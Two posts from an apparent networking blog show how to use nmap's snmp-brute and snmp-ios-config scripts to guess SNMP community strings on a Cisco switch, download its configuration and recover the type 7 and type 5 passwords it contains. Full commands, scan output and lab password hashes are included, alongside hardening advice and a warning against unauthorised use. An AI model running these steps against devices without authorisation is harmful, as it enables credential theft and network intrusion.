Hubbard on Networking: SNMP

Wednesday, March 18, 2015

How to Download an IOS configuration with NMAP's snmp-ios-config Script

If a Cisco switch/router running IOS has a RW community string you can run the NMAP snmp-ios-config script to pull down the configuration. In this example, the switch is at 192.169.10.100 and has a RW community string of private.

nmap -sU -p 161 --script snmp-ios-config --script-args snmpcommunity=private 192.168.10.100

Update June 29, 2017

nmap 7.40 and above has been updated to use a standard snmp libary for all snmp based scripts. This changes the script-args as follows:

nmap -sU -p 161 --script snmp-ios-config --script-args creds.snmp=private 192.168.10.100

You should upgrade to nmap 7.50 as it includes a lot of new scripts and bug fixes.

Snipped

This example should be enough to convince you not to use private as a RW string and use ACLs to limit logical access to your network devices!

In our example the SNMP monitoring stations are at 192.168.10.200 and .201. To add access lists:

ACME_Test(config)# access-list 99 permit 192.168.10.200
ACME_Test(config)# access-list 99 permit 192.168.10.201
ACME_Test(config)# snmp-server community public ro 99

Trouble Shooting

I have found this script to very reliable but I have run into two things that caused it fail.

You cannot have a TFTP server running on the machine you are running the script from. This is because the script has a TFTP server built in. On Windows you will get the following error "NSOCK ERROR [9.3070s] mksock_bind_addr(): Bind to 0.0.0.0:69 failed (IOD #2): An attempt was made to access a socket in a way forbidden by its access permissions. (10013)".

A community string that is for lack of a better word invalid. What does that mean? I could not get the script to work during a new deployment. I ran Wireshark and saw that the script sent the snmp SET but the switch didn't answer. I checked the access list on the SNMP config, made sure there wasn't a TFTP server running, checked the firewall, etc. Finally I ran "show snmp community" and to my surprise the RW string wasn't bound to any interfaces!

On this switch I am using vlan18 as the management vlan. You can see that the RW string isn't listed with an interface. I changed the RW string and ran the show command again. This time the RW string had vlan18 and the access-list and the script worked.

These aren't the actual strings I was using. The real strings had a lot of special characters and mixed caps.

ACME_Test#sh run | sec snmp
snmp-server community SuperSecret RW 25
snmp-server community BigSecret RO 20
snmp-server trap-source Vlan18

ACME_Test#sh snmp com
Community name: SuperSecret
Community Index: SuperSecret
Community SecurityName: SuperSecret
storage-type: nonvolatile active

Community name: BigSecret
Community Index: BigSecret
Community SecurityName: BigSecret
storage-type: nonvolatile active access-list: 20

Community name: BigSecret@18
Community Index: BigSecret@18
Community SecurityName: BigSecret
storage-type: read-only active access-list: 20

References

NMAP snmp-ios-config page

Nmap 6 Cookbook: The Fat-Free Guide to Network Scanning [Kindle Edition]

Mastering the Nmap Scripting Engine [Kindle Edition]

Securing Simple Network Management Protocol

Get the Cisco configuration over SNMP

@rikosintie

Michael earned his first IT certification, a Novell Certified Netware Engineer (CNE) in 1993. Michael then focused on the Microsoft MCSE credential, studied database design, and wrote several Visual Basic programs to automate production at a manufacturing company. In 2000 he earned the Cisco CCNA. Since then, Michael has earned Cisco’s security certification, Aruba’s switching certification, and the LPI’s Linux Essentials certification.

Wednesday, March 4, 2015

Brute Forcing SNMP with NMAP

Have you ever been on site and no one could remember the password for a network device you needed to log into? Using NMAP and a pre-built text file it may be possible to quickly pull down the configuration of the device.

Once you have the configuration you may find the password in plain text. If not you can use my blog on "Decrypting Cisco type 5 passwords" to recover the password.

A lot of network devices have an SNMP Read/Write (RW) string configured. If they do NMAP has a script to pull down the configuration. But what if you don't know the RW community string? Luckily "private" is the default for a lot of devices and NMAP has a script for that!

To get started, create a file with your guesses. I usually start with just private in the file. If that doesn't work then I paste in my list of guesses. There are a lot of password lists on the Internet but I haven't found any snmp lists. What I have done is created a list based on all the switch/router configs that I have in my possession. If the script finds a community string it prints it out with the words "Valid Credentials". A note here, the script will return "Valid Credentials" whether it finds a RW community string or a Read Only (RO) string. The script used to pull down the configuration ONLY works with the RW string.

As always, DO NOT use this on a switch you don't own or have explicit written permission to work on. This script was run against a Cisco switch in my test lab. It wasn't connected to anything except my laptop.

Let's get started! Run this script and hopefully find a valid RW community string.

nmap -sU --script snmp-brute 192.168.10.100 --script-args snmp-brute.communitiesdb=c:\tftp-root\snmp-string.txt

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-03 15:50 Pacific Standard Time
Stats: 0:13:44 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 86.13% done; ETC: 16:06 (0:01:52 remaining)
Stats: 0:13:45 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 86.22% done; ETC: 16:06 (0:01:52 remaining)
Nmap scan report for 192.168.10.100
Host is up (0.0057s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
67/udp open|filtered dhcps
123/udp open ntp
161/udp open snmp
| snmp-brute:
| private - Valid credentials
|_ public - Valid credentials
162/udp open|filtered snmptrap

In this case private was being used as a RW community string. Now that we have the RW community string we can run the script that pulls down the configuration. On this switch there is a type 7 password! In that case just hit the IOS App store or Google Play store and grab a "Cisco Type 7" app. It will recover the password in a split second without a word list.

nmap -sU -p 161 --script snmp-ios-config --script-args snmpcommunity=private 192.168.10.100

Starting Nmap 6.47 ( http://nmap.org ) at 2015-03-03 15:23 Pacific Standard Time
Nmap scan report for 192.168.10.100
Host is up (0.0031s latency).
PORT STATE SERVICE
161/udp open snmp
| snmp-ios-config:
| !
| ! Last configuration change at 15:21:28 PST Tue Mar 3 2015 by mhubbard
| ! NVRAM config last updated at 15:21:31 PST Tue Mar 3 2015 by mhubbard
| !
| version 15.0
| no service pad
| service tcp-keepalives-in
| service tcp-keepalives-out
| service timestamps debug datetime msec localtime show-timezone
| service timestamps log datetime msec localtime show-timezone
| service password-encryption
| service sequence-numbers
| !
| hostname ACME_Test
| !
| boot-start-marker
| boot-end-marker
| !
| !
| username Test privilege 15 password 7 0037312531682F2506324F41
| username cisco privilege 15 secret 5 $1$CxMS$kdjNOfZxN6qcqqCWBDEvQ1

Snipped

@rikosintie